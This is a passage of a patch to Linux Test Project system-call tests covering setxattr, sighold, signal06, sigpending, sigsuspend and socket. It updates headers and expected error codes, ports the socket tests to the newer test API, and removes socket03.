@@ -30,7 +30,7 @@
  * 1. Any other flags being set except XATTR_CREATE and XATTR_REPLACE,
  *    setxattr(2) should return -1 and set errno to EINVAL
  * 2. With XATTR_REPLACE flag set but the attribute does not exist,
- *    setxattr(2) should return -1 and set errno to ENOATTR
+ *    setxattr(2) should return -1 and set errno to ENODATA
  * 3. Create new attr with name length greater than XATTR_NAME_MAX(255)
  *    setxattr(2) should return -1 and set errno to ERANGE
  * 4. Create new attr whose value length is greater than XATTR_SIZE_MAX(65536)
@@ -54,14 +54,14 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#ifdef HAVE_ATTR_XATTR_H
-#include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 #include "test.h"
 
 char *TCID = "setxattr01";
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 #define XATTR_NAME_MAX 255
 #define XATTR_NAME_LEN (XATTR_NAME_MAX + 2)
 #define XATTR_SIZE_MAX 65536
@@ -99,7 +99,7 @@
 	 .value = XATTR_TEST_VALUE,
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = XATTR_REPLACE,
-	 .exp_err = ENOATTR,
+	 .exp_err = ENODATA,
 	 },
 	{			/* case 02, long key name, key will be set in setup() */
 	 .fname = filename,
@@ -221,9 +221,9 @@
 {
 	tst_rmdir();
 }
-#else /* HAVE_ATTR_XATTR_H */
+#else /* HAVE_SYS_XATTR_H */
 int main(int argc, char *argv[])
 {
-	tst_brkm(TCONF, NULL, "<attr/xattr.h> does not exist.");
+	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
 }
 #endif
diff --git a/testcases/kernel/syscalls/setxattr/setxattr02.c b/testcases/kernel/syscalls/setxattr/setxattr02.c
index 0ae0b3f..73c464c 100644
--- a/testcases/kernel/syscalls/setxattr/setxattr02.c
+++ b/testcases/kernel/syscalls/setxattr/setxattr02.c
@@ -53,14 +53,14 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#ifdef HAVE_ATTR_XATTR_H
-#include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 #include "test.h"
 
 char *TCID = "setxattr02";
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 #define XATTR_TEST_KEY "user.testkey"
 #define XATTR_TEST_VALUE "this is a test value"
 #define XATTR_TEST_VALUE_SIZE 20
@@ -234,9 +234,9 @@
 {
 	tst_rmdir();
 }
-#else /* HAVE_ATTR_XATTR_H */
+#else /* HAVE_SYS_XATTR_H */
 int main(int argc, char *argv[])
 {
-	tst_brkm(TCONF, NULL, "<attr/xattr.h> does not exist.");
+	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
 }
 #endif
diff --git a/testcases/kernel/syscalls/setxattr/setxattr03.c b/testcases/kernel/syscalls/setxattr/setxattr03.c
index edf5c96..c09211e 100644
--- a/testcases/kernel/syscalls/setxattr/setxattr03.c
+++ b/testcases/kernel/syscalls/setxattr/setxattr03.c
@@ -44,8 +44,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#ifdef HAVE_ATTR_XATTR_H
-#include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 #include <linux/fs.h>
 
@@ -53,7 +53,7 @@
 
 char *TCID = "setxattr03";
 
-#if defined HAVE_ATTR_XATTR_H && defined HAVE_FS_IOC_FLAGS
+#if defined HAVE_SYS_XATTR_H && defined HAVE_FS_IOC_FLAGS
 #define XATTR_TEST_KEY "user.testkey"
 #define XATTR_TEST_VALUE "this is a test value"
 #define XATTR_TEST_VALUE_SIZE (sizeof(XATTR_TEST_VALUE) - 1)
@@ -213,7 +213,7 @@
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "<attr/xattr.h> not present or FS_IOC_FLAGS "
+	tst_brkm(TCONF, NULL, "<sys/xattr.h> not present or FS_IOC_FLAGS "
 		 "missing in <linux/fs.h>");
 }
-#endif /* defined HAVE_ATTR_XATTR_H && defined HAVE_FS_IOC_FLAGS */
+#endif /* defined HAVE_SYS_XATTR_H && defined HAVE_FS_IOC_FLAGS */
diff --git a/testcases/kernel/syscalls/sighold/sighold02.c b/testcases/kernel/syscalls/sighold/sighold02.c
index e3076fb..be01874 100644
--- a/testcases/kernel/syscalls/sighold/sighold02.c
+++ b/testcases/kernel/syscalls/sighold/sighold02.c
@@ -77,7 +77,7 @@
 static int skip_sig(int sig)
 {
 	switch (sig) {
-	case SIGCLD:
+	case SIGCHLD:
 	case SIGKILL:
 	case SIGALRM:
 	case SIGSTOP:
diff --git a/testcases/kernel/syscalls/signal/signal06.c b/testcases/kernel/syscalls/signal/signal06.c
index 75ef733..1f1b31c 100644
--- a/testcases/kernel/syscalls/signal/signal06.c
+++ b/testcases/kernel/syscalls/signal/signal06.c
@@ -31,8 +31,8 @@
  * 		Date:   Tue Sep 2 19:57:17 2014 +0200
  *
  *      commit 66463db4fc5605d51c7bb81d009d5bf30a783a2c
- *               Author: Oleg Nesterov <oleg@redhat.com>
- *               Date:   Tue Sep 2 19:57:13 2014 +0200
+ *              Author: Oleg Nesterov <oleg@redhat.com>
+ *              Date:   Tue Sep 2 19:57:13 2014 +0200
  *
  * Reproduce:
  *	Test-case (needs -O2).
@@ -55,20 +55,21 @@
 
 #if __x86_64__
 
-#define LOOPS 10000
+#define LOOPS 30000
+#define VALUE 123.456
 
 volatile double D;
 volatile int FLAGE;
 
 char altstack[4096 * 10] __attribute__((aligned(4096)));
 
-void test(double d)
+void test(void)
 {
 	int loop = 0;
 	int pid = getpid();
 
-	D = d;
-	while (D == d && loop < LOOPS) {
+	D = VALUE;
+	while (D == VALUE && loop < LOOPS) {
 		/* sys_tkill(pid, SIGHUP); asm to avoid save/reload
 		 * fp regs around c call */
 		asm ("" : : "a"(__NR_tkill), "D"(pid), "S"(SIGHUP));
@@ -94,12 +95,16 @@
 
 void *tfunc(void *arg LTP_ATTRIBUTE_UNUSED)
 {
-	for (; ;) {
-		TEST(mprotect(altstack, sizeof(altstack), PROT_READ));
-		if (TEST_RETURN == -1)
-			tst_brkm(TBROK | TTERRNO, NULL, "mprotect failed");
+	int i;
 
-		TEST(mprotect(altstack, sizeof(altstack), PROT_READ|PROT_WRITE));
+	for (i = -1; ; i *= -1) {
+		if (i == -1) {
+			TEST(mprotect(altstack, sizeof(altstack), PROT_READ));
+			if (TEST_RETURN == -1)
+				tst_brkm(TBROK | TTERRNO, NULL, "mprotect failed");
+		}
+
+		TEST(mprotect(altstack, sizeof(altstack), PROT_READ | PROT_WRITE));
 		if (TEST_RETURN == -1)
 			tst_brkm(TBROK | TTERRNO, NULL, "mprotect failed");
 
@@ -148,7 +153,7 @@
 				tst_brkm(TBROK | TRERRNO, NULL,
 						"pthread_create failed");
 
-			test(123.456);
+			test();
 
 			TEST(pthread_join(pt, NULL));
 			if (TEST_RETURN)
diff --git a/testcases/kernel/syscalls/sigpending/sigpending02.c b/testcases/kernel/syscalls/sigpending/sigpending02.c
index 21a5f92..5fd4eef 100644
--- a/testcases/kernel/syscalls/sigpending/sigpending02.c
+++ b/testcases/kernel/syscalls/sigpending/sigpending02.c
@@ -47,7 +47,7 @@
  * 	None
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c b/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c
index b84f986..b9542e7 100644
--- a/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c
+++ b/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c
@@ -83,7 +83,7 @@
 int TST_TOTAL = 1;
 
 struct sigaction sa_new;	/* struct to hold signal info */
-sigset_t sigset;		/* signal set to hold signal lists */
+sigset_t signalset;		/* signal set to hold signal lists */
 sigset_t sigset1;
 sigset_t sigset2;
 
@@ -111,7 +111,7 @@
 		 * of the process and suspend process execution till
 		 * receipt of a signal 'SIGALRM'.
 		 */
-		TEST(sigsuspend(&sigset));
+		TEST(sigsuspend(&signalset));
 
 		/* Reset the alarm timer */
 		alarm(0);
@@ -160,7 +160,7 @@
 	 * Initialise the signal sets with the list that
 	 * excludes/includes  all system-defined signals.
 	 */
-	if (sigemptyset(&sigset) == -1) {
+	if (sigemptyset(&signalset) == -1) {
 		tst_brkm(TFAIL, cleanup,
 			 "sigemptyset() failed, errno=%d : %s",
 			 errno, strerror(errno));
diff --git a/testcases/kernel/syscalls/socket/socket01.c b/testcases/kernel/syscalls/socket/socket01.c
index f471d8b..9592d51 100644
--- a/testcases/kernel/syscalls/socket/socket01.c
+++ b/testcases/kernel/syscalls/socket/socket01.c
@@ -1,127 +1,105 @@
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
+* Copyright (c) International Business Machines  Corp., 2001
+*
+* This program is free software;  you can redistribute it and/or modify
+* it under the terms of the GNU General Public License as published by
+* the Free Software Foundation; either version 2 of the License, or
+* (at your option) any later version.
+*
+* This program is distributed in the hope that it will be useful,
+* but WITHOUT ANY WARRANTY;  without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+* the GNU General Public License for more details.
+*
+* You should have received a copy of the GNU General Public License
+* along with this program.
+*/
 
 /*
- * Test Name: socket01
- *
- * Test Description:
- *  Verify that socket() returns the proper errno for various failure cases
- *
- * Usage:  <for command-line>
- *  socket01 [-c n] [-e][-i n] [-I x] [-p x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions:
- *  None.
- *
- */
+* Test Name: socket01
+*
+* Test Description:
+* Verify that socket() returns the proper errno for various failure cases
+*
+*/
 
 #include <stdio.h>
 #include <unistd.h>
 #include <errno.h>
-
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/un.h>
-
 #include <netinet/in.h>
+#include "tst_test.h"
 
-#include "test.h"
-
-char *TCID = "socket01";
-int testno;
-
-void setup(void), cleanup(void);
-
-struct test_case_t {		/* test case structure */
-	int domain;		/* PF_INET, PF_UNIX, ... */
-	int type;		/* SOCK_STREAM, SOCK_DGRAM ... */
-	int proto;		/* protocol number (usually 0 = default) */
-	int retval;		/* syscall return value */
-	int experrno;		/* expected errno */
+struct test_case_t {
+	int domain;
+	int type;
+	int proto;
+	int retval;
+	int experrno;
 	char *desc;
 } tdat[] = {
-	{
-	0, SOCK_STREAM, 0, -1, EAFNOSUPPORT, "invalid domain"}, {
-	PF_INET, 75, 0, -1, EINVAL, "invalid type"}, {
-	PF_UNIX, SOCK_DGRAM, 0, 0, 0, "UNIX domain dgram"}, {
-	PF_INET, SOCK_RAW, 0, -1, ESOCKTNOSUPPORT, "raw open as non-root"},
-	{
-	PF_INET, SOCK_DGRAM, 17, 0, 0, "UDP socket"}, {
-	PF_INET, SOCK_STREAM, 17, -1, ESOCKTNOSUPPORT, "UDP stream"}, {
-	PF_INET, SOCK_DGRAM, 6, -1, ESOCKTNOSUPPORT, "TCP dgram"}, {
-	PF_INET, SOCK_STREAM, 6, 0, 0, "TCP socket"}, {
-PF_INET, SOCK_STREAM, 1, -1, ESOCKTNOSUPPORT, "ICMP stream"},};
+	{0, SOCK_STREAM, 0, -1, EAFNOSUPPORT, "invalid domain"},
+	{PF_INET, 75, 0, -1, EINVAL, "invalid type"},
+	{PF_UNIX, SOCK_DGRAM, 0, 0, 0, "UNIX domain dgram"},
+	{PF_INET, SOCK_RAW, 0, -1, EPROTONOSUPPORT, "raw open as non-root"},
+	{PF_INET, SOCK_DGRAM, 17, 0, 0, "UDP socket"},
+	{PF_INET, SOCK_STREAM, 17, -1, EPROTONOSUPPORT, "UDP stream"},
+	{PF_INET, SOCK_DGRAM, 6, -1, EPROTONOSUPPORT, "TCP dgram"},
+	{PF_INET, SOCK_STREAM, 6, 0, 0, "TCP socket"},
+	{PF_INET, SOCK_STREAM, 1, -1, EPROTONOSUPPORT, "ICMP stream"}
+};
 
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char *argv[])
+static void verify_socket(unsigned int n)
 {
-	int lc;
-	int s;
+	int fd;
+	struct test_case_t *tc = &tdat[n];
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	TEST(fd = socket(tc->domain, tc->type, tc->proto));
+	if (TEST_RETURN >= 0)
+		TEST_RETURN = 0;
 
-	setup();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			TEST((s = socket(tdat[testno].domain, tdat[testno].type,
-					 tdat[testno].proto)));
-			if (TEST_RETURN >= 0) {
-				TEST_RETURN = 0;	/* > 0 equivalent */
-			} else {
-			}
-			if (TEST_RETURN != tdat[testno].retval || (TEST_RETURN < 0 && (TEST_ERRNO != tdat[testno].experrno && TEST_ERRNO != EPROTONOSUPPORT))) {	/* Change for defect 21065 for kernel change */
-				tst_resm(TFAIL, "%s ; returned"	/* of return code for this test but don't want */
-					 " %d (expected %d), errno %d (expected"	/* to break on older kernels */
-					 " %d)", tdat[testno].desc,
-					 s, tdat[testno].retval,
-					 TEST_ERRNO, tdat[testno].experrno);
-			} else {
-				tst_resm(TPASS, "%s successful",
-					 tdat[testno].desc);
-			}
-			(void)close(s);
-		}
+	if (TEST_RETURN != tc->retval) {
+		tst_res(TFAIL, "%s returned %d (expected %d)",
+			tc->desc, fd, tc->retval);
+		return;
 	}
-	cleanup();
-	tst_exit();
 
+	if (TEST_ERRNO != tc->experrno) {
+		tst_res(TFAIL | TTERRNO, "expected %s(%d)",
+		        tst_strerrno(tc->experrno), tc->experrno);
+		return;
+	}
+
+	tst_res(TPASS, "%s successful", tc->desc);
 }
 
-void setup(void)
+/*
+ * See:
+ * commit 86c8f9d158f68538a971a47206a46a22c7479bac
+ * ...
+ * [IPV4] Fix EPROTONOSUPPORT error in inet_create
+ */
+static void setup(void)
 {
+	unsigned int i;
 
-	TEST_PAUSE;
+	if (tst_kvercmp(2, 6, 16) >= 0)
+		return;
+
+	for (i = 0; i < ARRAY_SIZE(tdat); i++) {
+		if (tdat[i].experrno == EPROTONOSUPPORT)
+				tdat[i].experrno = ESOCKTNOSUPPORT;
+	}
 }
 
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.tid = "socket01",
+	.tcnt = ARRAY_SIZE(tdat),
+	.setup = setup,
+	.test = verify_socket
+};
diff --git a/testcases/kernel/syscalls/socket/socket02.c b/testcases/kernel/syscalls/socket/socket02.c
index 259f0e3..ecc5b01 100644
--- a/testcases/kernel/syscalls/socket/socket02.c
+++ b/testcases/kernel/syscalls/socket/socket02.c
@@ -1,219 +1,87 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) Ulrich Drepper <drepper@redhat.com>                          */
-/* Copyright (c) International Business Machines  Corp., 2009                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        socket02.c                                                    */
-/*                                                                            */
-/* Description: This program tests the new flag SOCK_CLOEXEC introduced in    */
-/*              socket() & socketpair() and in kernel 2.6.27. Ulrich´s comment*/
-/*              as in:                                                        */
-/*              http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=a677a039be7243357d93502bff2b40850c942e2d */
-/*              says:                                                         */
-/*                                                                            */
-/*              flag parameters: socket and socketpair                        */
-/*              This patch adds support for flag values which are ORed to the */
-/*              type passwd to socket and socketpair.  The additional code is */
-/*              minimal. The flag values in this implementation can and must  */
-/*              match the O_* flags. This avoids overhead in the conversion.  */
-/*              The internal functions sock_alloc_fd and sock_map_fd get a new*/
-/*              parameters and all callers are changed.                       */
-/*                                                                            */
-/* Usage:  <for command-line>                                                 */
-/*  socket02 [-c n] [-e][-i n] [-I x] [-p x] [-t]                             */
-/*      where,  -c n : Run n copies concurrently.                             */
-/*              -e   : Turn on errno logging.                                 */
-/*              -i n : Execute test n times.                                  */
-/*              -I x : Execute test for x seconds.                            */
-/*              -P x : Pause for x seconds between iterations.                */
-/*              -t   : Turn on syscall timing.                                */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   socket02                                                      */
-/*                                                                            */
-/* Author:      Ulrich Drepper <drepper@redhat.com>                           */
-/*                                                                            */
-/* History:     Created - Jan 05 2009 - Ulrich Drepper <drepper@redhat.com>   */
-/*              Ported to LTP                                                 */
-/*                      - Jan 05 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
-/******************************************************************************/
+/*
+* Copyright (c) Ulrich Drepper <drepper@redhat.com>
+* Copyright (c) International Business Machines  Corp., 2009
+*
+* This program is free software;  you can redistribute it and/or modify
+* it under the terms of the GNU General Public License as published by
+* the Free Software Foundation; either version 2 of the License, or
+* (at your option) any later version.
+*
+* This program is distributed in the hope that it will be useful,
+* but WITHOUT ANY WARRANTY;  without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+* the GNU General Public License for more details.
+*
+* You should have received a copy of the GNU General Public License
+* along with this program.
+*/
+
+/*
+* Test Name:	socket02
+*
+* Description:
+* This program tests the new flag SOCK_CLOEXEC and SOCK_NONBLOCK introduced
+* in socket() in kernel 2.6.27.
+*/
 
 #include <fcntl.h>
 #include <stdio.h>
 #include <unistd.h>
 #include <netinet/in.h>
 #include <sys/socket.h>
-
-#include "test.h"
 #include "lapi/fcntl.h"
+#include "tst_test.h"
 
-#define PORT 57392
+static int fd;
 
-/* For Linux these must be the same.  */
-#ifndef SOCK_CLOEXEC
-#define SOCK_CLOEXEC O_CLOEXEC
-#endif
+static struct tcase {
+	int type;
+	int flag;
+	int fl_flag;
+	char *des;
+} tcases[] = {
+	{SOCK_STREAM, 0, F_GETFD, "no close-on-exec"},
+	{SOCK_STREAM | SOCK_CLOEXEC, FD_CLOEXEC, F_GETFD, "close-on-exec"},
+	{SOCK_STREAM, 0, F_GETFL, "no non-blocking"},
+	{SOCK_STREAM | SOCK_NONBLOCK, O_NONBLOCK, F_GETFL, "non-blocking"}
+};
 
-char *TCID = "socket02";
-int testno;
-int TST_TOTAL = 1;
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
-void cleanup(void)
+static void verify_socket(unsigned int n)
 {
+	int res;
+	struct tcase *tc = &tcases[n];
 
-	tst_rmdir();
+	fd = socket(PF_INET, tc->type, 0);
+	if (fd == -1)
+		tst_brk(TFAIL | TERRNO, "socket() failed");
 
-}
+	res = SAFE_FCNTL(fd, tc->fl_flag);
 
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
-void setup(void)
-{
-	/* Capture signals if any */
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-int main(int argc, char *argv[])
-{
-	int fd, fds[2], i, coe;
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-	if ((tst_kvercmp(2, 6, 27)) < 0) {
-		tst_brkm(TCONF,
-			 NULL,
-			 "This test can only run on kernels that are 2.6.27 and higher");
+	if (tc->flag != 0 && (res & tc->flag) == 0) {
+		tst_res(TFAIL, "socket() failed to set %s flag", tc->des);
+		return;
 	}
-	setup();
 
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			fd = socket(PF_INET, SOCK_STREAM, 0);
-			if (fd == -1) {
-				tst_brkm(TBROK, cleanup, "socket(0) failed");
-			}
-			coe = fcntl(fd, F_GETFD);
-			if (coe == -1) {
-				tst_brkm(TBROK, cleanup, "fcntl failed");
-			}
-			if (coe & FD_CLOEXEC) {
-				tst_brkm(TFAIL,
-					 cleanup,
-					 "socket(0) set close-on-exec flag");
-			}
-			close(fd);
-
-			fd = socket(PF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
-			if (fd == -1) {
-				tst_brkm(TFAIL, cleanup,
-					 "socket(SOCK_CLOEXEC) failed");
-			}
-			coe = fcntl(fd, F_GETFD);
-			if (coe == -1) {
-				tst_brkm(TBROK, cleanup, "fcntl failed");
-			}
-			if ((coe & FD_CLOEXEC) == 0) {
-				tst_brkm(TFAIL,
-					 cleanup,
-					 "socket(SOCK_CLOEXEC) does not set close-on-exec flag");
-			}
-			close(fd);
-
-			if (socketpair(PF_UNIX, SOCK_STREAM, 0, fds) == -1) {
-				tst_brkm(TBROK, cleanup,
-					 "socketpair(0) failed");
-			}
-			for (i = 0; i < 2; ++i) {
-				coe = fcntl(fds[i], F_GETFD);
-				if (coe == -1) {
-					tst_brkm(TBROK, cleanup,
-						 "fcntl failed");
-				}
-				if (coe & FD_CLOEXEC) {
-					tst_brkm(TFAIL,
-						 cleanup, "socketpair(0) set close-on-exec flag for fds[%d]\n",
-						 i);
-				}
-				close(fds[i]);
-			}
-
-			if (socketpair
-			    (PF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0,
-			     fds) == -1) {
-				tst_brkm(TBROK, cleanup,
-					 "socketpair(SOCK_CLOEXEC) failed");
-			}
-			for (i = 0; i < 2; ++i) {
-				coe = fcntl(fds[i], F_GETFD);
-				if (coe == -1) {
-					tst_brkm(TBROK, cleanup,
-						 "fcntl failed");
-				}
-				if ((coe & FD_CLOEXEC) == 0) {
-					tst_brkm(TFAIL,
-						 cleanup, "socketpair(SOCK_CLOEXEC) does not set close-on-exec flag for fds[%d]\n",
-						 i);
-				}
-				close(fds[i]);
-			}
-			tst_resm(TPASS, "socket(SOCK_CLOEXEC) PASSED");
-			cleanup();
-		}
+	if (tc->flag == 0 && (res & tc->flag) != 0) {
+		tst_res(TFAIL, "socket() failed to set %s flag", tc->des);
+		return;
 	}
-	tst_exit();
+
+	tst_res(TPASS, "socket() passed to set %s flag", tc->des);
+
+	SAFE_CLOSE(fd);
 }
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tid = "socket02",
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_socket,
+	.min_kver = "2.6.27",
+	.cleanup = cleanup
+};
diff --git a/testcases/kernel/syscalls/socket/socket03.c b/testcases/kernel/syscalls/socket/socket03.c
deleted file mode 100644
index 2f069f2..0000000
--- a/testcases/kernel/syscalls/socket/socket03.c
+++ /dev/null
@@ -1,168 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) Ulrich Drepper <drepper@redhat.com>                          */
-/* Copyright (c) International Business Machines  Corp., 2009                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        socket03.c                                                    */
-/*                                                                            */
-/* Description: This Program tests the new system call introduced in 2.6.27.  */
-/*              Ulrich´s comment as in:                                       */
-/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=77d2720059618b9b6e827a8b73831eb6c6fad63c */
-/*                                                                            */
-/* Usage:  <for command-line>                                                 */
-/* socket03 [-c n] [-e][-i n] [-I x] [-p x] [-t]                      */
-/*      where,  -c n : Run n copies concurrently.                             */
-/*              -e   : Turn on errno logging.                                 */
-/*              -i n : Execute test n times.                                  */
-/*              -I x : Execute test for x seconds.                            */
-/*              -P x : Pause for x seconds between iterations.                */
-/*              -t   : Turn on syscall timing.                                */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   socket03                                                      */
-/*                                                                            */
-/* Author:      Ulrich Drepper <drepper@redhat.com>                           */
-/*                                                                            */
-/* History:     Created - Jan 13 2009 - Ulrich Drepper <drepper@redhat.com>   */
-/*              Ported to LTP                                                 */
-/*                      - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
-/******************************************************************************/
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <netinet/in.h>
-#include <sys/socket.h>
-#include <sys/syscall.h>
-
-#include "test.h"
-
-#ifndef SOCK_NONBLOCK
-#define SOCK_NONBLOCK O_NONBLOCK
-#endif
-
-char *TCID = "socket03";
-int testno;
-int TST_TOTAL = 1;
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
-
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
-void setup(void)
-{
-	/* Capture signals if any */
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-int main(int argc, char *argv[])
-{
-	int fd, fl;
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-	if ((tst_kvercmp(2, 6, 27)) < 0) {
-		tst_brkm(TCONF,
-			 NULL,
-			 "This test can only run on kernels that are 2.6.27 and higher");
-	}
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			fd = socket(PF_INET, SOCK_STREAM, 0);
-			if (fd == -1) {
-				tst_brkm(TFAIL, cleanup, "socket(0) failed");
-			}
-			fl = fcntl(fd, F_GETFL);
-			if (fl == -1) {
-				tst_brkm(TBROK, cleanup, "fcntl failed");
-			}
-			if (fl & O_NONBLOCK) {
-				tst_brkm(TFAIL,
-					 cleanup,
-					 "socket(0) set non-blocking mode");
-			}
-			close(fd);
-
-			fd = socket(PF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
-			if (fd == -1) {
-				tst_brkm(TFAIL, cleanup,
-					 "socket(SOCK_NONBLOCK) failed");
